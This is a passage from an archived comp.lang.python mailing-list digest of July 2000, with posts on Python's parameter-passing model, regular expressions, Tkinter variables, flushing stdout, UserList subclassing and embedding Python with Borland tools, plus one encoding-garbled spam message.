does not create another word.  It creates another writing.  Each writing
clearly identifies the word, but people don't say that the writing is a
"reference" to the word.  They *could* say this -- but since they don't, I
don't want to either.


2.  Next consider the integer type as implemented in C.  A C integer is a
binary word consisting (typically) of 32 bits, eg:

	000000000000000000000000000101010

As far as C is concerned, this word is the integer 42.  This word can be
written into multiple memory locations.  Each writing clearly identifies
42, but it sounds odd to say that each writing is a "reference" to 42.


3.  Given the above discussion: As long as data objects in the computer are
implemented as binary words, it is clear that an object can be written to
multiple memory locations without replicating the object itself.  So how
*are* objects implemented?  For definiteness, considered structured objects
like lists and dictionaries.

In the C world, it is declared that an object is a region of storage.
However, a region of storage has a unique address.  So we can just as well
declare that an object is the *address* of a region of storage.

And that is what works for me!  (And for the old Lisp community as well.)
The way I see it, in Python every object is an address.  Objects are thus
binary words that can be written to multiple memory locations.  Objects can
be assigned to variables, passed to functions, and returned from functions.

Also, the function call f(x) is by-value.  The function receives the object
that has been written into the variable x.  If the object is mutable -- ie,
if there is some way to modify the region of storage addressed by the
object -- then the function may change the *state* of the object.  But the
function can not write a different object into the variable x.


So, the distinction between "objects" and "references to objects" is not
*necessary*.  Whether or not it is *desirable* is to some degree a matter
of taste.

Regards,
Greg


From cg at schlund.de  Tue Jul 18 08:57:40 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Tue, 18 Jul 2000 14:57:40 +0200
Subject: grouping in regular expressions.
References: <8l1iue$j3e$1@nnrp1.deja.com>
Message-ID: <39745444.FBE82566@schlund.de>

kaevee at my-deja.com wrote:
> "       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"
> re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')
> I am not able to make out where i am making a mistake.

There's no mistake. It works.

import re
line = "       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"
regexp = re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')
match = regexp.search(line)
print match.group(1)


Carsten.


From dale at out-think.NOSPAMco.uk  Thu Jul  6 09:15:53 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Thu, 6 Jul 2000 14:15:53 +0100
Subject: MAPI/COM: where is the server?
References: <diO85.3111$iN5.764889@ptah.visi.com>
Message-ID: <8k21em$42j$1@supernews.com>

You are talking Exchange, if it's available, or to a local copy of your data
if it's not and if you have offline mode enabled.

Either way, you are using CDO.DLL and probably talking to a service called
MAPISP32 - although you are stretching my knowledge at this point. As I
understand it, MAPISP32 decides where the request ultimately ends up.

I'd be very surprised if you could get this to work on anything other than
Win32.

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants

Grant Edwards <ge at nowhere.none> wrote in message
news:diO85.3111$iN5.764889 at ptah.visi.com...
> My MAPI/COM e-mail fetcher (running under win95) does this:
>
>     self.session = win32com.client.Dispatch("MAPI.Session")
>     self.session.Logon("MS Eschange Settings")
>
>     [message fetching code left as an exercise for the reader]
>
> This was all developed without any basic understanding of DCOM
> or MAPI by copying other people's examples and semi-random
> trial-and-error.
>
> Question: Is it talking to Exchange server (which runs on a
>           remote machine), or is it talking to a local copy of
>           MS Outlook which is then acting as an intermediary?
>
> If it's talking directly to Exchange server, then there's a
> possibility I could do the same thing from Linux using either
> Software AG's product or GCOM.
>
> If my program is just talking to the local copy of MS Outlook,
> then running the program under Linux isn't very useful, since I
> still have to run that win95 machine that's sitting over in the
> corner.
>
> --
> Grant Edwards                   grante             Yow!  I have the power
>                                   at               to HALT PRODUCTION on
all
>                                visi.com            TEENAGE SEX COMEDIES!!




From shuz at bresnanlink.net  Wed Jul 12 03:06:00 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Wed, 12 Jul 2000 02:06:00 -0500
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net> <396BC08E.A3C036A4@pehr.net>
Message-ID: <396C18D8.EC4CC59@bresnanlink.net>

I have already tried that. I need to record sound in a time sensitive
eviroment. I will most likely need to write my own sound module which I really

don't want to do...because I don't know where to start with that either. I
have this really simple program called sound-recorder that has simple read and

write but in order to stop a recording the person needs to do ^c (ctrl + c)
how would I start that program in a thread and be able to stop it at a certain

point using ctrl + c? A sound module for python would probably be the best
solution still.

I guess that is a better description of my problem... Thanks for the idea
though,
Aaron



pehr anderson wrote:

> I've started mucking around with sound and have
> seen the os.system command work well for most of my needs.
>
> import os
> os.system("esdplay file.wav")
>
> Redhat and Gnome like to use the Enlightenment sound daemon.
> NOTE: It isn't always started by default.
> To start the daemon just run "esd" as the user (you don't need to be
> root).
> The RPM included with Redhat-6.2 is esound-0.2.17-2.i386.rpm
>
> I've upgraded my system with Helix gnome so my esound rpm is
> esound-0.2.18-1_helix_1
>
> Esound includes the the "esdctl" command to cache wav files
> for quick playback or looping. If you run these through os.system
> that should be fast enough for most of your needs. I'm sure there
> are better ways to talk to the esound daemon, but this was *very* easy.
>
> Here is the help for esdctl:
>
> [pehr at morseall pehr]$ esdctl
> esdctl error (1):  command line - not enough arguments
> esdctl [options] [command]
>
> options:
> -s, --server=host:port        contact esd server on host at port
>
> commands:
> lock                          foreign clients may not use the server
> unlock                        foreign clients may use the server
> standby, off                  suspend sound output for other programs
> resume, on                    resume sound output
> cache sample                  cache a sample in the server
> getid name                    retrieve a sample id from its name
> free name                     uncache a sample in the server
> play name                     play a cached sample once
> loop name                     make a cached sample loop
> stop name                     stop the looping sample at end
> serverinfo                    get server info from server
> allinfo                       get player and sample info from server
> panstream <id> <left> <right> set panning for a stream
> pansample <id> <left> <right> set default panning for a sample
>                               - left/right pan values scaled to 256.
> standbymode                   see if server's on standby, etc.
>
> Aaron Berg wrote:
> >
> > I started programming python a few months ago and I am still learning.
> > Does anyone know of a sound module for simple reading and writing of
> > sound in linux? I know there is a win32 sound module and there is one
> > for SGI but is there one for linux? oss or alsa... I don't know much
> > about this issue so it is possible i am just looking in the wrong place.
> > Thanks,
> > Aaron



From vartan at leland.stanford.edu  Tue Jul 18 19:16:42 2000
From: vartan at leland.stanford.edu (Ryan Vartanian)
Date: Tue, 18 Jul 2000 16:16:42 -0700
Subject: Tkinter Problem with Radiobuttons
Message-ID: <3974E55A.FED978BD@leland.stanford.edu>

I am trying to use radiobuttons to select a value for a program, and I
am haveing trouble with the IntVar() and StringVar() classes.

My code looks like this:

self.selection=IntVar()
self.nativeButton=Radiobutton(self.byteWindow, text="Native: CFD
Datasets produced on this OS", variable=self.selection, value=0)

self.bigEButton=Radiobutton(self.byteWindow, text="Big Endian: Solaris,
SGI, Motorola", variable=self.selection, value=1)

self.littleEButton=Radiobutton(self.byteWindow, text="Little Endian:
Intel, DEC", variable=self.selection, value=2)
        
self.okButton=Button(self.byteWindow, text="Ok", command=self.Ok)
self.cancelButton=Button(self.byteWindow, text="Cancel",
command=self.Cancel)

All of this is packed in window, and things when I select a given
radiobutton, the value of the variable is not 0, 1, or 2, but PY_VAR0,
PY_VAR1, or PY_VAR2.  The documentation for IntVar() is sparse at best. 
Any suggestions on what is going on here?

Ryan Vartanian


From dale at out-think.NOSPAM.co.uk  Sun Jul  9 16:51:04 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Sun, 9 Jul 2000 21:51:04 +0100
Subject: Pythonwin 1.5.2
References: <8kaij5$c9s$1@supernews.com> <Kr5a5.6646$_O.136642@news2-win.server.ntlworld.com>
Message-ID: <8kaolt$flc$1@supernews.com>

TAB! Thanks

Oh for standards in keyboard shortcuts. What's wrong with ctrl-enter like
Visual Studio?

Dale Strickland-Clark


"richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote in message
news:Kr5a5.6646$_O.136642 at news2-win.server.ntlworld.com...
> Up and down arrow keys and tab.
>
> Richard
>
> Dale Strickland-Clark <dale at out-think.NOSPAM.co.uk> wrote in message
> news:8kaij5$c9s$1 at supernews.com...
> > Is anyone else running this who has figured out how to select from the
> > pop-up keyword prompts without using the mouse?
> >
> > I've tried all the obvious ones like ctrl-enter without success.
> >
> > Thanks
> >
> > Dale Strickland-Clark
> >
> >
> >
>
>




From thomas at xs4all.nl  Sun Jul  2 03:31:28 2000
From: thomas at xs4all.nl (Thomas Wouters)
Date: 2 Jul 2000 07:31:28 GMT
Subject: How to "fork off" a function
References: <Pine.LNX.4.21.0007020800520.5152-100000@lade.src.no>
Message-ID: <slrn8ltrtr.lmm.thomas@centurion.xs4all.nl>

On Sun, 2 Jul 2000 08:01:50 +0200, Morten W. Petersen <morten at src.no> wrote:
>How do I "get rid of" an annoyingly slow function, that's more of a
>logging facility, in the code? Do I use thread, etc?

>Short example would be appreciated.

Well, this ought to work:

def long_function(*lots_of_args):
    # <original code commented out> 
    pass

Or isn't that what you wanted ? :-) Seriously, this is the only way to get
rid of a function without knowing that it's supposed to do. If the function
is a logging function, try to shortcut your way out of the function for the
cases where it isn't necessary. Or turn off logging. Or defer logging until
later, by appending log messsages to a list and writing out the list later.

You can use threads, yes, but it only makes sense if the logging function is
slow because it waits for something else, not if it takes a lot of cpu time.
I'd go for a seperate process and a syslogd-like daemon that listens for
messages, though: easier to write and much more portable.


lambda:0-ly y'rs,
Thomas.



From donn at oz.net  Fri Jul 28 23:58:16 2000
From: donn at oz.net (Donn Cave)
Date: 29 Jul 2000 03:58:16 GMT
Subject: "always passes by reference"
References: <slrn8o4fdm.abr.nobody@isis.visi.com> <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com>
Message-ID: <8ltkoo$8j1$1@216.39.151.169>

Quoth nobody at nowhere.nohow (Grant Edwards):

| If you're used to thinking in C, I would describe it as
|
|  1) All variables are pointers.
|  
|  2) De-referencing is done automatically when you use a variable in any
|     context other than as an lvalue.
|     
|  3) All parameters are passed by value.
|  
|  4) Many/most operations create a new object and return a pointer to it.
|  
|  5) Some objects can't be changed after they're created, but some objects
|     provide methods you can use to change them.

It's a start, but I think the effort to describe Python in C terms
is going to be at best the parsley on the plate in a Python user's
first meal.  Those are plausible comparisons, but also potentially
misleading.  3 is where we came in, and by no means does everyone
agree that it makes any sense.

The way it does work is so simple.  The explanations people want
to propose end up being so complicated.  I guess the best explanation
is to present the simple examples that show how it works, and how
consistently it works that way.  No one seems to have any trouble
with the examples, we all just want to explain it in different terms.
You can't teach anyone something they don't already know, so let them
find out how Python works, then explaining it will be no problem.

	Donn Cave, donn at oz.net


From morten at src.no  Sun Jul  2 02:01:50 2000
From: morten at src.no (Morten W. Petersen)
Date: Sun, 2 Jul 2000 08:01:50 +0200
Subject: How to "fork off" a function
Message-ID: <Pine.LNX.4.21.0007020800520.5152-100000@lade.src.no>

How do I "get rid of" an annoyingly slow function, that's more of a
logging facility, in the code? Do I use thread, etc?

Short example would be appreciated.

-Morten

-------------------------------------------------------------
How to reply to email:
  http://home.sol.no/~vidaandr/news/OBSquoting.html (norsk)
  http://home.sol.no/~vidaandr/news/FAQquoting.html (english)

Who is the bigger fool? The fool or the fool who follows him?



From egbert at bork.demon.nl  Thu Jul  6 03:51:05 2000
From: egbert at bork.demon.nl (Egbert Bouwman)
Date: Thu, 6 Jul 2000 09:51:05 +0200
Subject: OO
In-Reply-To: <3960E20A.4BA7AF49@prescod.net>; from Paul Prescod on Mon, Jul 03, 2000 at 01:57:14PM -0500
References: <8jb1ec$9mh2@news.qualitynet.net> <autilso0l591oo924n3mogcva7r2892p5b@4ax.com> <8jpvhi$jfs$1@newshost.accu.uu.nl> <20000703171722.A7614@bork> <3960E20A.4BA7AF49@prescod.net>
Message-ID: <20000706095104.A1118@bork>

Hi Paul,
Your explanation of OO in the context of Python was very usefull,
especially as Python is the only OO language that I more or less do
understand. I would like to read much more of this tutorial kind 
of stuff, because reinventing the wheel is just beyond my capabilities.

For some time already I thought I had a problem: will I write my database
output to normal stdout, or to a GUI window. You gave this question a new
dimension, because it is not or/or anymore:

> Now I can say 
> 
> sys.stdout=myOutputClass1() 
> 
> and hundreds of pieces of code that were supposed to work on the stdout
> "stream" will magically work on myOutputClass. When they say:
> sys.stdout.write( "foo" ), it calls the appropriate write method.
> 
> The fact that it has the right methods is enough to make it "stand in"
> for a stream. 

My problem seems to boil down to an extra method. Thanks.
egbert

-- 
Egbert Bouwman - Keizersgracht 197 II - 1016 DS  Amsterdam - 020 6257991
========================================================================



From robert.kiendl at delphi2.de  Fri Jul 21 11:32:19 2000
From: robert.kiendl at delphi2.de (Robert Kiendl)
Date: Fri, 21 Jul 2000 17:32:19 +0200
Subject: Pythonwin embedding: Problem with win32ui_d.pyd and CArchive
Message-ID: <39786D01.71FCD25@delphi2.de>

I use the debugging version of pythonwin (129, 132) in a debug build of
my application.

>From the time when I dynamically link win3ui_d.phy, dynamic
de-serialization over CArchive ("ar >> objtree")  breaks and throws an
Exception.

any Idea?

Robert




From lkcho at my-deja.com  Sun Jul 30 12:33:09 2000
From: lkcho at my-deja.com (lkcho at my-deja.com)
Date: Sun, 30 Jul 2000 16:33:09 GMT
Subject: CGI downloading
Message-ID: <8m1lc5$89p$1@nnrp1.deja.com>

Is there any possible way to download the whole cgi script, instead of
letting it response with html pages?

Your help is much needed.  TQ



Sent via Deja.com http://www.deja.com/
Before you buy.


From dalke at acm.org  Wed Jul 26 14:20:49 2000
From: dalke at acm.org (Andrew Dalke)
Date: Wed, 26 Jul 2000 12:20:49 -0600
Subject: perl to python, case + regular expression question
References: <y7gd7k26jtd.fsf@bandersnatch.lerc.nasa.gov> <8ll282$mel$1@slb6.atl.mindspring.net> <397E9B25.EC0E3103@schlund.de>
Message-ID: <8lna0o$ifg$1@slb7.atl.mindspring.net>

Carsten Gaebler:
>get() only works with dictionaries, not with sequences.


Completely correct.  I don't know where my brain was.  (Actually,
it was in bed at the time but my finger's weren't :)

How about ...

words = string.split(input_line)
if words:
  if words[0] == "log":
    log_entry_num = int(words[2])
  elif words[0] == "run":
    run_number = int(words[2])
    timestamp = string.join(words[4:])

                    Andrew
                    dalke at acm.org





From alex at magenta.com  Mon Jul 31 07:09:23 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 31 Jul 2000 13:09:23 +0200
Subject: Extracting search criteria using re
References: <8m3ee5$fh5$1@nnrp1.deja.com> <8m3i61$hsm$1@nnrp1.deja.com>
Message-ID: <8m3n03029p0@news1.newsguy.com>

<pauljolly at my-deja.com> wrote in message news:8m3i61$hsm$1 at nnrp1.deja.com...
> Sorry, I have found the answer to my question. I now use the findall()
> function to extract the data. Sorry to trouble you all (but my other
> question is still valid!!)

What other question...?

> > anything that answers my question: when using the
> > (recompiledobject).split() method, I want to return a list of all the
> > occurences of my search criteria and not what remains when my search
> > criteria is stripped from the string. For example, searching using the
> > following search string: \d?\d\s*'&deg;' in the following:
> >
> > "This is an example of two temperatures 56 &deg; F and 36 &deg; F."
> >
> > Applying the split function on the above, I would want to return as a
> > list ('56 &deg;', '36 &deg;'). I am sure this is possible but cannot
> > for the life of me find the answer. Any help much appreciated.

The split method just doesn't do that.  It never suppresses data outside
of the matches.  It can give you either just that data-outside, or that
plus the capturing-groups in the matches if you have such groups in
your RE (i.e., parentheses in it).  findall, as you noticed, is the method
that suppresses the data outside of the matches.  Why would you want
to use a method that doesn't do what you want, when there's one that
does?


Alex





From webmaster at in852.com  Thu Jul  6 12:45:59 2000
From: webmaster at in852.com (webmaster)
Date: Fri, 07 Jul 2000 00:45:59 +0800
Subject: in852.com - 3
Message-ID: <3964B7C7.EFFC369E@in852.com>

[ ???? ]

?T???????? http://www.in852.com
?????T???? http://www.ec852.com

in852?S?I?G
(1) ???????P???~?e???|?? (Printers?BScanner?B?q???C??????)?C

(2) ???W???I?j????
?]?A???????????~?B???s?q?????~?B?y?????~?????C

(3) ?????? Free Mail
?u?n?|???? POP ?? SMTP ???? mail.in852.com?A?K?i?????q Mail Box

(4) ???I???e
?T???????y???T?B???g?@???B?C?????a?B???????T?B?q??????
?n???U?????@?????????????????T?s?????C




From lars.lundstedt at telia.com  Wed Jul 12 00:33:37 2000
From: lars.lundstedt at telia.com (Lars Lundstedt)
Date: Wed, 12 Jul 2000 04:33:37 GMT
Subject: SV: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <8kft65$rnc$1@news2.acs.oakland.edu>
Message-ID: <BySa5.537$652.12767@newsc.telia.net>

Yes, well, I figured that...the problem is that I don't want to use
PythonWin which as far as I know is the only way to get access to COM...

Anyone got another solution?

/LasseLu

someguy <jdub at nospam.net> skrev i
diskussionsgruppsmeddelandet:8kft65$rnc$1 at news2.acs.oakland.edu...
> Drive letters could easily be enumerated using com & following the VB
Script
> examples, only substituting python instead.
>
> Drive letters aren't a cross platform concept.  I know of no native Python
> functions to perform this action.
>
> -Jay R. Wren
>
> "Lars Lundstedt" <lars.lundstedt at telia.com> wrote in message
> news:8aKa5.485$652.11285 at newsc.telia.net...
> > The subject line says it all. How do I do it?
> > Anyone who knows?
> >
> > /LasseLu
> >
> >
>
>




From robin at jessikat.demon.co.uk  Sat Jul  1 16:10:32 2000
From: robin at jessikat.demon.co.uk (Robin Becker)
Date: Sat, 1 Jul 2000 21:10:32 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com>
 <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com>
 <slrn8lj56i.l52.thomas@centurion.xs4all.nl>
 <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com>
 <Esm75.3448$Tb7.23118@news-server.bigpond.net.au>
Message-ID: <4YiFVWA4AlX5EwzQ@jessikat.demon.co.uk>

In article <Esm75.3448$Tb7.23118 at news-server.bigpond.net.au>, Mark
Hammond <MarkH at ActiveState.com> writes
>Just to stoke the flames a little...
>
>Check out some of the talks at the upcoming PDC -
>http://www.pdc.mscorpevents.com/sessions.asp?tracks=6 - look for Python
>:-)
>
>Mark.
>--
>markh at activestate.com - but if you think I speak for them, you dont know
>Dick!
>
>
well with netscrape I can't seem to access that.
-- 
Robin Becker


From boncelet at eecis.udel.edu  Wed Jul 19 14:45:29 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Wed, 19 Jul 2000 14:45:29 -0400
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <39751EFA.6293FDFE@prescod.net>
Message-ID: <3975F749.811D1887@eecis.udel.edu>

Paul Prescod wrote:
> 
> Tim Hochberg wrote:
> >
> > Similarly:
> >
> > dot((A,B), C) -> A(B)(C)
> > dot(A, dot(B,C) -> A(B(C))
> >
> > which looks pretty good to me. And it's arguably closer to paper
> > linear algebra notation than A*B is.
> 
> Another good idea! You can even make it look like the new-syntax
> proposal:
> 
> A()*B()*C
> A()+B()+C
> A()-B()-C
> 

Please don't do either of these.  This solution is worse than the
original problem.  To a mathematician, A() and A(B) look too much
like function calls and not like multiplication.  
-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From aaron.ginn at motorola.com  Fri Jul  7 14:01:50 2000
From: aaron.ginn at motorola.com (Aaron Ginn)
Date: 07 Jul 2000 11:01:50 -0700
Subject: Flushing sdtout
Message-ID: <sn4s61hl9t.fsf@motorola.com>

Is there a simple way to flush stdout on every print statement similar
to the $| variable in perl?  Currently, I'm adding a
sys.stdout.flush() statement after every single print statement in a
script in order to write the run to a logfile, but I'd like to simply
be able to tell python to do it after every print statement without
explicitly telling it to.

Also, how can I flush the string in an input statement to stdout
before the input is provided by the user?  For example, here is a
code snippet:

	print '------------------------------'
	sys.stdout.flush()
	print '      Type of DRC run.'
	sys.stdout.flush()
	print '------------------------------'
	sys.stdout.flush()
	print '1) DRC (default)'
	sys.stdout.flush()
	print '2) Antenna DRC check'
	sys.stdout.flush()
	print 'q) quit'
	sys.stdout.flush()

	while 1:
	    selection = raw_input('Enter type of DRC to run from menu --> ')
	    sys.stdout.flush()

This prints the following to stdout:

------------------------------
      Type of DRC run.
------------------------------
1) DRC (default)
2) Antenna DRC check
q) quit

Unfortunately, it does not print the string in the raw_input statement
until the user has selected from the menu.  Thus the output looks like
this:

1
Enter type of DRC to run from menu --> 

I want the string printed to stdout before the user has to make a
selection.  Is there a way to do this?

Thanks,
Aaron

-- 
Aaron J. Ginn                     Motorola SPS
Phone: (480) 814-4463             SemiCustom Solutions
Fax:   (480) 814-4058             1300 N. Alma School Rd.
mailto:aaron.ginn at motorola.com    Chandler, AZ 85226


From tismer at appliedbiometrics.com  Thu Jul  6 12:32:15 2000
From: tismer at appliedbiometrics.com (Christian Tismer)
Date: Thu, 06 Jul 2000 18:32:15 +0200
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <39630fdb.148487854@news.iol.ie>
Message-ID: <3964B48F.7D5BD5D5@appliedbiometrics.com>


Sean Mc Grath wrote:
> 
> Thanks to Christian and Gordon, I think I am well on
> the way to pickling Pyxie trees.
> 
> More news anon.

Your pickling was just fine. Now your classes
need to learn how to unpickle, and that's simple:
Add a __setstate__ method that initializes the missing
CurPos object.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at appliedbiometrics.com>
Applied Biometrics GmbH      :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
     where do you want to jump today?   http://www.stackless.com



From to_get_my_address at see.my.signature  Thu Jul 27 01:54:41 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 18:54:41 +1300
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com>
Message-ID: <397FCE9C.F22BB6B4@see.my.signature>

"(Greg Weeks)" wrote:
> 
> This hasty way of speaking used to be considered correct, and I still like
> it.

It's perfectly adequate for talking purely about Python to
someone who understands the Python data model.

It only becomes an issue when trying to describe the
Python data model to someone coming from a different family
of languages. And then, terms like "pass by value" and
"pass by reference" tend to cause more confusion than
they're worth, so it's best not to use them.

Maybe we need a new term to describe Pythonic parameter
passing. Let's call it "pass by spanish inquisition",
because C/C++-heads are never expecting it.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From esko.lehtonen at pp.htv.fi  Tue Jul  4 10:09:21 2000
From: esko.lehtonen at pp.htv.fi (Esko Lehtonen)
Date: Tue, 04 Jul 2000 17:09:21 +0300
Subject: PyGtk again but with segfault
References: <39610186.36BAFE88@pp.htv.fi> <396118C4.116790FA@wombatzone.freeserve.co.uk>
Message-ID: <3961F011.FFF27BA2@pp.htv.fi>

Iain Calder wrote:
>  
> At startup, before the first call to draw_array, you need to call
> push_rgb_visual().

Oh. Of course... I should have read better the C example. Now I get my
image displayed. Thank you twice!

--------------------------------------------------------------------
 Esko Lehtonen                   WYSINWYG -              
                                 What You See Is Never What You Get


From hgolden at my-deja.com  Wed Jul 19 18:28:51 2000
From: hgolden at my-deja.com (Howard B. Golden)
Date: Wed, 19 Jul 2000 22:28:51 GMT
Subject: Pythonwin attribute expansion
Message-ID: <8l5a2g$egp$1@nnrp1.deja.com>

This is about Pythonwin build 132 and Python 1.5.2.

See the code test below.  I define a superclass "Super" and a
subclass "Sub" of "Super".  I create an instance of "Sub" named "s".

Using the Pythonwin interactive window's attribute expansion, when I
type "s." I get a pop-up showing the variables of both "Sub"
and "Super", but only the methods of "Sub" (e.g. "m3" and "m4").  It
seems to me that I should get the methods of "Super" as well.  Is this
a bug, feature, or something I can control?

Here is the specific test code:

class Super:

    def __init__(self):
        self.v1 = 0
        self.v2 = 0

    def m1(self,a):
        self.v1 = a

    def m2(self,a):
        self.v2 = a

class Sub(Super):

    def __init__(self):
        Super.__init__(self)
        self.v3 = 0
        self.v4 = 0

    def m3(self,a):
        self.v3 = a

    def m4(self,a):
        self.v4 = a

s = Sub()


--
Howard B. Golden


Sent via Deja.com http://www.deja.com/
Before you buy.


From kulbrich at yahoo.com  Fri Jul 28 02:26:38 2000
From: kulbrich at yahoo.com (Karl Ulbrich)
Date: Fri, 28 Jul 2000 02:26:38 -0400
Subject: Perl is worse! (was: Python is Wierd!)
In-Reply-To: <slrn8o25nr.e7.grey@teleute.rpglink.com>; from grey@despair.rpglink.com on Fri, Jul 28, 2000 at 05:17:51AM +0000
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net> <slrn8o25nr.e7.grey@teleute.rpglink.com>
Message-ID: <20000728022638.B26353@exeter.exeter.org>

> >Reasonable enough.  Though you're not populating a list with a single
> >nothing; you're making an empty list.  OTOH, by the logic below, why
> >not [None] instead of []?
> 
>     Why not indeed?  Something other than an error is expected.

No -- if you find that both are possible (and have very-different
meanings) then it's ambiguous, and apart from other issues, 
should raise an error (Python *hates* ambiguous).

	[] is an empty list.
	[ None ] is a single element list with a None obj as the 1st elem.

And while I'm at it, another way to make a single element list:

	[].append(123)

More-useful if you need to start with an empty list:

	x = []
	
and later append to it:

	x.append(123)

Karl, staying outta the rest of it.



From l.caroti at flashnet.it  Mon Jul 24 11:18:42 2000
From: l.caroti at flashnet.it (Luciano Caroti)
Date: Mon, 24 Jul 2000 17:18:42 +0200
Subject: JPython and DB2 Stored Procedures in Java
Message-ID: <397C5E52.A6077D7D@flashnet.it>

I would like to know if anyone had used JPython to develop SProcedures
in DB2, or better it is possiblre to use JVM inside DB that provide it
like Oracle and DB2?
I hope that this crazy question do not hurt anyone. I use PL/SQL and
Transact SQL to develop Stored Procedures on Oracle and SQLServer but on
IBM DB2 I can use Assembler,PL1,Fortran,REXX,C (of course) and
Java.....my question stem from my experience in development : writing
program in PL/SQL and SQLServer is faster than using C so I am searching
another way to accomplish this task, I choosed Java but my knowledge on
Python is better than my knowledge in Java..
Can you help me?
Luciano Caroti



From cut_me_out at hotmail.com  Wed Jul 12 10:31:58 2000
From: cut_me_out at hotmail.com (Alex)
Date: 12 Jul 2000 10:31:58 -0400
Subject: Why are some infinite recursion stack overflows hard to deal with?
Message-ID: <etdog43o1wh.fsf@nerd-xing.mit.edu>

Probably everyone who could answer this is busy on the python-dev list,
but I'll ask now, anyway.  Why are some infinite recursion stack
overflows harder for python to deal with than others?  This is an
example from the bugs list:

class T:
    def __str__(self):
        print self
print T()

Is this just dumping stuff on the stack faster than a vanilla infinite
recursion, causing an overflow before the maximum recursion depth is
reached?  If so, what sort of stuff is it dumping?  And where would I
look in the source to understand this sort of thing?

Alex.


From Norman_Shelley-RRDN60 at email.sps.mot.com  Mon Jul  3 11:58:14 2000
From: Norman_Shelley-RRDN60 at email.sps.mot.com (Norman Shelley)
Date: Mon, 03 Jul 2000 08:58:14 -0700
Subject: UserDict and UserList issue (bug?_
References: <395D333D.9240593C@email.sps.mot.com> <slrn8lqh0n.gqv.thomas@centurion.xs4all.nl>
Message-ID: <3960B816.BC1B6577@email.sps.mot.com>

Thomas Wouters wrote:

> On Fri, 30 Jun 2000 16:54:37 -0700, Norman Shelley
> <Norman_Shelley-RRDN60 at email.sps.mot.com> wrote:
> >in UserDict and UserList there is one or more places where a call to
> >self's __class__() method is made, e.g.
> >
> >def __getslice__(self, i, j):
> >  i = max(i, 0); j = max(j, 0)
> >  # This class and its subclasses need more arguments then 0
> >  userlist = self.__class__()
> >  ....
>
> >This blows causes major problems when either of these two classes are
> >subclassed and the class which subclasses them requires creation
> >arguments.  I think maybe a copy of self instead of a __class__() may be
> >a more robust solution.
>
> And how would you get a copy of self without creating a new instance of
> self.__class__ ?

Simple.

import copy
...

userlist = copy.copy(self)



> You usually create a copy of a list by doing:
>
>     mycopy = mylist[:]
>
> Which calls __getslice__, which is exactly what you are complaining about
> :-)
>
> If you want to subclass UserList, either make sure you provide defaults for
> all arguments to the initializer, or make sure you override all places where
> self.__class__() may be called without your required arguments. #1 is
> probably the best (and most portable) solution, and not just because of the
> above issue: providing defaults for all initializer arguments allows your
> object to be pickled, for instance ;)
>
> But I dont know why you need those arguments, so YMMV.
>
> Regards,
>         Thomas.



From edream at tds.net.bbs  Mon Jul 17 19:00:02 2000
From: edream at tds.net.bbs (edream at tds.net.bbs)
Date: 17 Jul 2000 23:00:02 GMT
Subject: Can't load .pyd files from embedded Python interp
Message-ID: <3bRSL2$kmM@openbazaar.net>

Hey!  Clean link, proper execution! Yippee.

> >I'll write up my experiences when I've successfully embedded Python in
> >my app.  For now the conclusion seems to be that one only need link in
> >C:\Windows\System\python15.dll to the app.  There are some details
> >specific to Borland, but presumably they won't be difficult.

Getting a clean link was straightforward. I renamed
c:\Windows\System\python15.lib to be python(orig)15.lib, then ran the
Borland IMPLIB utility that creates import libs as follows:

IMPLIB -a python15.lib python15.dll

The -a option adds '_' alias for cdecl functions for compatibility with
Microsoft libraries.  After running IMPLIB one should _not_ declare
functions with the __declspec attribute; just #include "python.h" and
the linker is happy.  Don't ask me why, maybe it's the -a options, maybe
it's IMPLIB itself, maybe its magic.

To link, I just added python15.dll and python15.lib to the project.
That's all.

I've just stepped through the following statements in my test app with
no apparent problems:

    Py_Initialize();
    PyRun_SimpleString("import sys");
    PyRun_SimpleString("for i in sys.path: print i");
    PyRun_SimpleString("import parser");

Well, err, stderr and stdout seem to have disappeared, but that's
